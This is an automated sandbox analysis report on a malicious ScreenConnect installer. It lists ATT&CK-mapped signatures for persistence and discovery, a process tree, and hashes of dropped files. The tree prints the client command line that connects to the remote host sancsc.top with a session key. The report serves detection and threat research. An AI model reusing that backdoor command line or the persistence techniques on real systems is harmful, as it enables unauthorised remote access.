Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/07/2026, 15:01

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.8MB
  • Sample260709-sd7ztscw3q
  • SHA256 227b6600d83552036403c2cd42315ecfe84be41a9ab320d2effd4426ec1b4b0f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 30 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:2448
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2956
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 8D517303EDCF3972D535C1910FCBBD2A C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1064
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIFC0E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240713093 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5776
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4812
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding FE64B637681D8BCFD92A3C9C8F981329
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:240
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding F9B5CE742243424481EEF2D580F4A834 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1648
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5372
    • C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=sancsc.top&p=8041&s=5d92c785-69be-4108-90b3-5fea3079c1b2&k=BgIAAACkAABSU0ExAAgAAAEAAQDtGB6komRtrfFQ9jjjcK6Sh2takDmF4dFdAhuTf2k9Lp%2b9kOe25izkjAPkAWiUll5hUrPwkD8Zdq0AAphNHp69xfe43IU3mzzt3BabuAf6xah2pI9tnvAXPlNHLZiWmPDY9o5iRbSagzFxM%2bfFVM6R4oEQrJB7DbmyML9TMV7CTXpROEN3SnnSg%2bSeP8GMokojHwKWT8y8%2bVcdfTov2tMW5dl5x2PZgU%2b108VUfShpSXn76muxjT3x7cZ7iSOZxLbqM8uMn1DYj%2f2%2btekp7zoMqm294rKt4fZLL8quQyirIBi%2f5TivhX2TLa8pV3Z%2fT3IzcgY1q%2b2Thw5QjyrKOLXN"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2464
      • C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\ScreenConnect.WindowsClient.exe" "RunRole" "3b684105-a322-44f1-af04-4fd71f10d47e" "User"
        2⤵
        • Executes dropped EXE
        PID:1140

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e594ef2.rbs

          • Path C:\Config.Msi\e594ef2.rbs
          • Size 214KB
          • SHA256 3432905b85938d15cde3a80f735efd2d6e9370281d8bdb97eafc16535604eed5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\Client.Override.en-US.resources
          • Size 245B
          • SHA256 4aa60e71e2a95cff9837b2dedddfa5a2d6e2e685826d1ff8019b9b3b9a02f4cf
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\Client.Override.resources
          • Size 17KB
          • SHA256 030b1b50b722f5fbe19b3d894bbff120fab22b69a84af2c23ba8c5440b4df3de
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\app.config
          • Size 2KB
          • SHA256 a5b68c1e6dddf7e3b6cb4ff4a28180ad599620b028e61153bdcdf58ed01df879
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (b60783669647ce28)\system.config
          • Size 936B
          • SHA256 af90ccd68e5e16a83b7b93fc53a69624e69f72510eba51ec32efbf5eeff480a0
          • MD5 SHA1 SHA512 TLSH

          MSIFC0E.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFC0E.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFC0E.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFC0E.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFC0E.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIFC0E.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI54BE.tmp

          • Path C:\Windows\Installer\MSI54BE.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e594ef1.msi

          • Path C:\Windows\Installer\e594ef1.msi
          • Size 12.8MB
          • SHA256 227b6600d83552036403c2cd42315ecfe84be41a9ab320d2effd4426ec1b4b0f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          0hnqztr0.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b60783669647ce28)\0hnqztr0.newcfg
          • Size 558B
          • SHA256 ed8ece5781f7deb6a1554d0bde925022bf43abb9d540b2496af7b7852ba1be39
          • MD5 SHA1 SHA512 TLSH

          1vxyyipj.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b60783669647ce28)\1vxyyipj.newcfg
          • Size 558B
          • SHA256 628342d27c4275236cf8ad75bd703c9d3002b486d29e3a4dc8dcd8a10624d4c1
          • MD5 SHA1 SHA512 TLSH

          5rc51rtx.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b60783669647ce28)\5rc51rtx.newcfg
          • Size 558B
          • SHA256 d5c672011436d66f9f61d2ddad93a4ffead62b648e590a44f4bfbfa48fb8788b
          • MD5 SHA1 SHA512 TLSH

          dxkdw3vv.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b60783669647ce28)\dxkdw3vv.newcfg
          • Size 558B
          • SHA256 d5ebbfd7667d3e9e7670326762033d2993383f5d0a95654cd889e84e2b7068e8
          • MD5 SHA1 SHA512 TLSH

          eon1jn3v.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b60783669647ce28)\eon1jn3v.newcfg
          • Size 558B
          • SHA256 6df1b1b232e6b5bdc81636c465a2a019813ffd9fc85107546d5d39b0417ef094
          • MD5 SHA1 SHA512 TLSH

          kvxwfagq.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b60783669647ce28)\kvxwfagq.newcfg
          • Size 558B
          • SHA256 af129a658d384ed7256dfb55ebbd1708a5b268c2747fa4bbce9b49007703bbec
          • MD5 SHA1 SHA512 TLSH

          riprjnjo.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b60783669647ce28)\riprjnjo.newcfg
          • Size 558B
          • SHA256 738b50b05f694234386dbaf5f620df1a38d96b57baef013c984a0475a2f1d379
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b60783669647ce28)\user.config
          • Size 558B
          • SHA256 dab1fb783f77eeb9cd8c71fa5f2b33e11bdccf710df018764faa754fb629aee9
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b60783669647ce28)\user.config
          • Size 558B
          • SHA256 f2997672365ff2c988a6927c2017294d7419b932c82fb9d86a2be704e0b639c4
          • MD5 SHA1 SHA512 TLSH

          v0jeqicw.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (b60783669647ce28)\v0jeqicw.newcfg
          • Size 558B
          • SHA256 868a8d9c8d2329309d9ad4eb9de5c12d1cb254e4c3423ccb4c0b032562a23671
          • MD5 SHA1 SHA512 TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 567dab3ead204dd39ec941ac6b43e8ab694334a5be02e6894f3e34f13328744d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {8f76d744-9ea9-4d34-bb7b-91853c01c053}_OnDiskSnapshotProp

          • Path \??\Volume{5c2a9657-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{8f76d744-9ea9-4d34-bb7b-91853c01c053}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 23e81a8325b6ecb6eaf3ff6f1789e034379b20895bb75c850989c4e8b1213630
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1140-117-0x0000000001090000-0x00000000010C6000-memory.dmp

          memory/1140-116-0x0000000000760000-0x00000000007F8000-memory.dmp

          memory/1140-119-0x000000001BAE0000-0x000000001BC8C000-memory.dmp

          memory/1140-120-0x000000001BE20000-0x000000001BFA8000-memory.dmp

          memory/1140-122-0x00000000029C0000-0x00000000029D8000-memory.dmp

          memory/1140-121-0x0000000001070000-0x0000000001088000-memory.dmp

          memory/1140-152-0x000000001B470000-0x000000001B59F000-memory.dmp

          memory/1140-118-0x000000001B8A0000-0x000000001B92C000-memory.dmp

          memory/2464-97-0x0000000003C70000-0x0000000003CC0000-memory.dmp

          memory/2464-101-0x0000000003CC0000-0x0000000003CF6000-memory.dmp

          memory/2464-102-0x0000000003FC0000-0x0000000004052000-memory.dmp

          memory/2464-75-0x0000000001510000-0x0000000001528000-memory.dmp

          memory/2464-106-0x00000000041B0000-0x0000000004285000-memory.dmp

          memory/2464-104-0x0000000003C20000-0x0000000003C61000-memory.dmp

          memory/4812-136-0x000002541A980000-0x000002541AA04000-memory.dmp

          memory/4812-166-0x000002541A980000-0x000002541AA04000-memory.dmp

          memory/5776-26-0x00000000056B0000-0x000000000573C000-memory.dmp

          memory/5776-30-0x00000000058F0000-0x0000000005A9C000-memory.dmp

          memory/5776-22-0x0000000002870000-0x000000000287A000-memory.dmp

          memory/5776-31-0x0000000006060000-0x000000000661A000-memory.dmp

          memory/5776-18-0x0000000002830000-0x000000000285E000-memory.dmp